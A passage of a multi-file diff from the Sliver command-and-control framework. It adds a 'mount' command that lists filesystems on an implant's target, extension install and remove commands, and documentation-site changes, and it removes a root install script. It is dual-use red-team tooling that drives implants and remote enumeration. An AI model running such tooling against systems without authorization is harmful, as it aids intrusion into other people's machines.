"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// MountCmd - Print information about mounted filesystems
|
||||
func MountCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
mount, err := con.Rpc.Mount(context.Background(), &sliverpb.MountReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
os := getOS(session, beacon)
|
||||
if mount.Response != nil && mount.Response.Async {
|
||||
con.AddBeaconCallback(mount.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mount)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMount(os, mount, con)
|
||||
})
|
||||
con.PrintAsyncResponse(mount.Response)
|
||||
} else {
|
||||
PrintMount(os, mount, con)
|
||||
}
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
} else if beacon != nil {
|
||||
return beacon.OS
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func reduceSpaceMetric(numberOfBytes float64) string {
|
||||
units := []string{"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
|
||||
|
||||
if numberOfBytes < 1 {
|
||||
return fmt.Sprintf("0 %s", units[0])
|
||||
}
|
||||
|
||||
base := 1024.0
|
||||
|
||||
exp := math.Floor(math.Log(numberOfBytes) / math.Log(base))
|
||||
index := int(math.Min(exp, float64(len(units)-1)))
|
||||
divisor := math.Pow(base, float64(index))
|
||||
|
||||
value := numberOfBytes / divisor
|
||||
|
||||
return fmt.Sprintf("%.2f %s", value, units[index])
|
||||
}
|
||||
|
||||
// PrintMount - Print a table containing information on mounted filesystems
|
||||
func PrintMount(os string, mount *sliverpb.Mount, con *console.SliverConsoleClient) {
|
||||
if mount.Response != nil && mount.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mount.Response.Err)
|
||||
return
|
||||
}
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"Volume", "Volume Type", "Mount Point", "Label", "Filesystem", "Used Space", "Free Space", "Total Space"})
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"Source", "Mount Point", "Mount Root", "Filesystem Type", "Options", "Total Space"})
|
||||
}
|
||||
|
||||
for _, mountPoint := range mount.Info {
|
||||
row := mountRow(os, mountPoint)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
settings.PaginateTable(tw, 0, false, false, con)
|
||||
}
|
||||
|
||||
func mountRow(os string, mountInfo *sliverpb.MountInfo) table.Row {
|
||||
var row table.Row
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
row = table.Row{mountInfo.VolumeName,
|
||||
mountInfo.VolumeType,
|
||||
mountInfo.MountPoint,
|
||||
mountInfo.Label,
|
||||
mountInfo.FileSystem,
|
||||
reduceSpaceMetric(float64(mountInfo.UsedSpace)),
|
||||
reduceSpaceMetric(float64(mountInfo.FreeSpace)),
|
||||
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
|
||||
}
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
row = table.Row{mountInfo.VolumeName,
|
||||
mountInfo.MountPoint,
|
||||
mountInfo.Label,
|
||||
mountInfo.VolumeType,
|
||||
mountInfo.MountOptions,
|
||||
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
|
||||
}
|
||||
}
|
||||
return row
|
||||
}
|
||||
@@ -79,6 +79,7 @@ var (
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -379,6 +380,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
|
||||
`
|
||||
|
||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// HostsIOCRmCmd - Remove a host from the database
|
||||
// HostsIOCRmCmd - Remove an IOC from the database
|
||||
func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
@@ -43,5 +43,5 @@ func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
con.PrintInfof("Removed IOC from database\n")
|
||||
}
|
||||
@@ -62,6 +62,10 @@ func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string
|
||||
}
|
||||
|
||||
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
|
||||
if len(host.IOCs) == 0 {
|
||||
return nil, ErrNoIOCs
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
|
||||
@@ -42,6 +42,8 @@ import (
|
||||
var (
|
||||
// ErrNoHosts - No hosts in database
|
||||
ErrNoHosts = errors.New("no hosts")
|
||||
// ErrNoIOCs - No IOCs in database
|
||||
ErrNoIOCs = errors.New("no IOCs in database for selected host")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
@@ -35,6 +35,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
@@ -148,6 +149,61 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
carapace.Gen(aliasRemove).PositionalCompletion(alias.AliasCompleter())
|
||||
aliasCmd.AddCommand(aliasRemove)
|
||||
|
||||
// [ Extensions ] ---------------------------------------------
|
||||
|
||||
extCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "List current exts",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
extensions.ExtensionsCmd(cmd, con)
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
server.AddCommand(extCmd)
|
||||
|
||||
|
||||
/*
|
||||
parking 'load' for now - the difference between 'load' and 'install' is that 'load' should not move binaries and manifests to the client install dir.
|
||||
Maybe we can revisit this if it's required - but the usecase I can think of is when developing extensions, and that will also occasionally require a manifest update
|
||||
// extLoadCmd := &cobra.Command{
|
||||
// Use: consts.LoadStr + " [EXT]",
|
||||
// Short: "Load a command EXT",
|
||||
// Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
|
||||
// Args: cobra.ExactArgs(1),
|
||||
// Run: func(cmd *cobra.Command, args []string) {
|
||||
// extensions.ExtensionLoadCmd(cmd, con, args)
|
||||
// },
|
||||
// }
|
||||
// carapace.Gen(extLoadCmd).PositionalCompletion(
|
||||
// carapace.ActionDirectories().Tag("ext directory").Usage("path to the ext directory"))
|
||||
// extCmd.AddCommand(extLoadCmd)
|
||||
*/
|
||||
|
||||
extInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr + " [filepath]",
|
||||
Short: "Install an extension from a local directory/file.",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
extensions.ExtensionsInstallCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(extInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("ext file"))
|
||||
extCmd.AddCommand(extInstallCmd)
|
||||
|
||||
extendo := &cobra.Command{
|
||||
Use: consts.RmStr + " [Name]",
|
||||
Short: "Remove extension. Will remove all commands associated with the installed extension. Does not unload the extension from implants that have already loaded it, but removes the command from the client.",
|
||||
Long: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
extensions.ExtensionsRemoveCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(extendo).PositionalCompletion(extensions.ManifestCompleter())
|
||||
extCmd.AddCommand(extendo)
|
||||
|
||||
// [ Armory ] ---------------------------------------------
|
||||
|
||||
armoryCmd := &cobra.Command{
|
||||
|
||||
@@ -19,6 +19,8 @@ package command
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -94,13 +96,17 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
ext, err := extensions.LoadExtensionManifest(manifest)
|
||||
mext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load extension: %s", err)
|
||||
//con doesn't appear to be initialised here?
|
||||
//con.PrintErrorf("Failed to load extension: %s", err)
|
||||
fmt.Printf("Failed to load extension: %s\n", err)
|
||||
continue
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(ext, sliver, con)
|
||||
for _, ext := range mext.ExtCommand {
|
||||
extensions.ExtensionRegisterCommand(ext, sliver, con)
|
||||
}
|
||||
}
|
||||
|
||||
// [ Reconfig ] ---------------------------------------------------------------
|
||||
@@ -1084,6 +1090,20 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
|
||||
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
|
||||
|
||||
mountCmd := &cobra.Command{
|
||||
Use: consts.MountStr,
|
||||
Short: "Get information on mounted filesystems",
|
||||
Long: help.GetHelpFor([]string{consts.MountStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
filesystem.MountCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
Flags("", false, mountCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
sliver.AddCommand(mountCmd)
|
||||
|
||||
// [ Network ] ---------------------------------------------
|
||||
|
||||
ifconfigCmd := &cobra.Command{
|
||||
|
||||
@@ -219,6 +219,7 @@ const (
|
||||
ChmodStr = "chmod"
|
||||
ChownStr = "chown"
|
||||
ChtimesStr = "chtimes"
|
||||
MountStr = "mount"
|
||||
|
||||
MemfilesStr = "memfiles"
|
||||
|
||||
|
||||
-191
@@ -1,191 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
SLIVER_GPG_KEY_ID="4449039C"
|
||||
|
||||
if [[ "$EUID" -ne 0 ]];then
|
||||
echo "Please run as root"
|
||||
exit
|
||||
fi
|
||||
|
||||
# Determine OS type
|
||||
# Debian-based OS (Debian, Ubuntu, etc)
|
||||
if command -v apt &> /dev/null; then
|
||||
echo "Installing dependencies using apt..."
|
||||
DEBIAN_FRONTEND=noninteractive apt install -yqq \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
INSTALLER=(apt install -yqq)
|
||||
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
|
||||
echo "Installing dependencies using yum..."
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
INSTALLER=(yum -y)
|
||||
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
|
||||
echo "Installing dependencies using pacman..."
|
||||
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
|
||||
INSTALLER=(pacman -S)
|
||||
else
|
||||
echo "Unsupported OS, exiting"
|
||||
exit
|
||||
fi
|
||||
|
||||
# Verify if necessary tools are installed
|
||||
for cmd in curl awk gpg; do
|
||||
if ! command -v "$cmd" &> /dev/null; then
|
||||
echo "$cmd could not be found, installing..."
|
||||
${INSTALLER[@]} "$cmd"
|
||||
fi
|
||||
done
|
||||
|
||||
cd /root || exit
|
||||
echo "Running from $(pwd)"
|
||||
|
||||
echo "Importing GPG key..."
|
||||
gpg --import <<EOF
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
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
|
||||
=lxj2
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
EOF
|
||||
|
||||
# Download and Unpack Sliver Server
|
||||
echo "Fetching latest Sliver release URLs..."
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER="sliver-server_linux"
|
||||
SLIVER_CLIENT="sliver-client_linux"
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L "$URL" --output "$(basename "$URL")"
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L "$URL" --output "$(basename "$URL")"
|
||||
fi
|
||||
done
|
||||
|
||||
# Signature verification
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
echo "Moving the Sliver server executable to /root/sliver-server..."
|
||||
mv "/root/$SLIVER_SERVER" /root/sliver-server
|
||||
|
||||
echo "Setting permissions for the Sliver server executable..."
|
||||
chmod 755 /root/sliver-server
|
||||
|
||||
echo "Unpacking the Sliver server..."
|
||||
/root/sliver-server unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
echo "Setting permissions for the Sliver client executable..."
|
||||
chmod 755 "/root/$SLIVER_CLIENT"
|
||||
|
||||
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
|
||||
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
|
||||
|
||||
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
|
||||
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
|
||||
|
||||
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# systemd
|
||||
echo "Configuring systemd service ..."
|
||||
cat > /etc/systemd/system/sliver.service <<-EOF
|
||||
[Unit]
|
||||
Description=Sliver
|
||||
After=network.target
|
||||
StartLimitIntervalSec=0
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
Restart=on-failure
|
||||
RestartSec=3
|
||||
User=root
|
||||
ExecStart=/root/sliver-server daemon
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
chown root:root /etc/systemd/system/sliver.service
|
||||
chmod 600 /etc/systemd/system/sliver.service
|
||||
echo "Starting the Sliver service..."
|
||||
systemctl start sliver # Start the service now
|
||||
|
||||
# Generate local configs
|
||||
echo "Generating local configs ..."
|
||||
|
||||
# Generate local configs
|
||||
echo "Generating operator configs ..."
|
||||
mkdir -p /root/.sliver-client/configs
|
||||
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
|
||||
chown -R root:root /root/.sliver-client/
|
||||
|
||||
USER_DIRS=(/home/*)
|
||||
for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
USER=$(basename "$USER_DIR")
|
||||
if id -u "$USER" >/dev/null 2>&1; then
|
||||
echo "Generating operator configs for user $USER..."
|
||||
mkdir -p "$USER_DIR/.sliver-client/configs"
|
||||
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
|
||||
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
|
||||
fi
|
||||
done
|
||||
@@ -3,6 +3,7 @@
|
||||
# generated files
|
||||
public/sitemap.json
|
||||
public/docs.json
|
||||
/www.zip
|
||||
|
||||
# code editor files
|
||||
.vscode/
|
||||
|
||||
@@ -1,3 +1,33 @@
|
||||
# Sliver Docs
|
||||
|
||||
The source code for the Sliver documentation site.
|
||||
|
||||
### Developers
|
||||
|
||||
To run the documentation site locally first install the dependencies and then run the `dev` npm script:
|
||||
|
||||
```bash
|
||||
npm install
|
||||
npm run dev
|
||||
```
|
||||
|
||||
**NOTE:** The markdown is compiled into a static JSON object at build time. This means if you edit a `.md` file you will need to restart the dev server to see your changes.
|
||||
|
||||
### Offline Docs
|
||||
|
||||
To run your own copy of the documentation first install the dependencies and then run the `offline` npm script:
|
||||
|
||||
```bash
|
||||
npm install
|
||||
npm run offline
|
||||
```
|
||||
|
||||
This will produce a `www.zip` file that contains the static html and JavaScript for the documentation site. You can extract this archive and host it anywhere:
|
||||
|
||||
```bash
|
||||
unzip -o www.zip
|
||||
cd out/
|
||||
python -m http.server 8000
|
||||
```
|
||||
|
||||
Then open your browser to `http://localhost:8000/` to view the documentation.
|
||||
@@ -0,0 +1,3 @@
|
||||
.hide-control-bar :global(.ap-control-bar){
|
||||
display: none !important;
|
||||
}
|
||||
@@ -13,6 +13,7 @@ export type CodeSchema = {
|
||||
|
||||
export type CodeViewerProps = {
|
||||
script: CodeSchema;
|
||||
fontSize?: number;
|
||||
|
||||
className?: string;
|
||||
};
|
||||
@@ -58,7 +59,7 @@ const CodeViewer = (props: CodeViewerProps) => {
|
||||
const [scriptSourceCode, setScriptSourceCode] = React.useState(
|
||||
props.script.source_code
|
||||
);
|
||||
const [fontSize, setFontSize] = React.useState(14);
|
||||
const [fontSize, setFontSize] = React.useState(props.fontSize || 14);
|
||||
const editorContainerClassName = React.useMemo(() => {
|
||||
return theme === Themes.DARK
|
||||
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
import CodeViewer, { CodeSchema } from "@/components/code";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { useTheme } from "next-themes";
|
||||
import Image from "next/image";
|
||||
import Link from "next/link";
|
||||
import { useRouter } from "next/router";
|
||||
import Markdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import AsciinemaPlayer from "./asciinema";
|
||||
|
||||
export type MarkdownProps = {
|
||||
key?: string;
|
||||
markdown: string;
|
||||
};
|
||||
|
||||
type MarkdownAsciiCast = {
|
||||
src?: string;
|
||||
rows?: string;
|
||||
cols?: string;
|
||||
idleTimeLimit?: number;
|
||||
};
|
||||
|
||||
const MarkdownViewer = (props: MarkdownProps) => {
|
||||
const { theme } = useTheme();
|
||||
const router = useRouter();
|
||||
|
||||
return (
|
||||
<div
|
||||
className={
|
||||
theme === Themes.DARK ? "prose dark:prose-invert" : "prose prose-slate"
|
||||
}
|
||||
>
|
||||
<Markdown
|
||||
key={props.key || `${Math.random()}`}
|
||||
remarkPlugins={[remarkGfm]}
|
||||
components={{
|
||||
a(props) {
|
||||
const { href, children, ...rest } = props;
|
||||
if (href?.startsWith("/")) {
|
||||
return (
|
||||
// @ts-ignore
|
||||
<a
|
||||
{...rest}
|
||||
href={href}
|
||||
className="text-primary hover:text-primary-dark"
|
||||
onClick={(e) => {
|
||||
e.preventDefault();
|
||||
router.push(href);
|
||||
}}
|
||||
>
|
||||
{children}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
const url = new URL(href || "");
|
||||
if (url.protocol !== "http:" && url.protocol !== "https:") {
|
||||
return <></>;
|
||||
}
|
||||
if (url.host === "sliver.sh") {
|
||||
return (
|
||||
// @ts-ignore
|
||||
<Link
|
||||
{...rest}
|
||||
href={url.toString()}
|
||||
className="text-primary hover:text-primary-dark"
|
||||
>
|
||||
{children}
|
||||
</Link>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<a
|
||||
{...rest}
|
||||
href={url.toString()}
|
||||
rel="noopener noreferrer"
|
||||
target="_blank"
|
||||
className="text-primary hover:text-primary-dark"
|
||||
>
|
||||
{children}
|
||||
</a>
|
||||
);
|
||||
},
|
||||
|
||||
pre(props) {
|
||||
// We need to look at the child nodes to avoid wrapping
|
||||
// a monaco code block in a <pre> tag
|
||||
const { children, className, node, ...rest } = props;
|
||||
const childClass = (children as any)?.props?.className;
|
||||
if (
|
||||
childClass &&
|
||||
childClass.startsWith("language-") &&
|
||||
childClass !== "language-plaintext"
|
||||
) {
|
||||
// @ts-ignore
|
||||
return <div {...rest}>{children}</div>;
|
||||
}
|
||||
|
||||
return (
|
||||
<pre {...rest} className={className}>
|
||||
{children}
|
||||
</pre>
|
||||
);
|
||||
},
|
||||
|
||||
img(props) {
|
||||
const { src, alt, ...rest } = props;
|
||||
return (
|
||||
// @ts-ignore
|
||||
<Image
|
||||
{...rest}
|
||||
src={src || ""}
|
||||
alt={alt || ""}
|
||||
width={500}
|
||||
height={500}
|
||||
className="w-full rounded-medium"
|
||||
/>
|
||||
);
|
||||
},
|
||||
|
||||
code(props) {
|
||||
const { children, className, node, ...rest } = props;
|
||||
const langTag = /language-(\w+)/.exec(className || "");
|
||||
const lang = langTag ? langTag[1] : "plaintext";
|
||||
if (lang === "plaintext") {
|
||||
return (
|
||||
<span className="prose-sm">
|
||||
<code {...rest} className={className}>
|
||||
{children}
|
||||
</code>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
if (lang === "asciinema") {
|
||||
const asciiCast: MarkdownAsciiCast = JSON.parse(
|
||||
children as string
|
||||
);
|
||||
const src = asciiCast.src?.startsWith("/")
|
||||
? `${window.location.origin}${asciiCast.src}`
|
||||
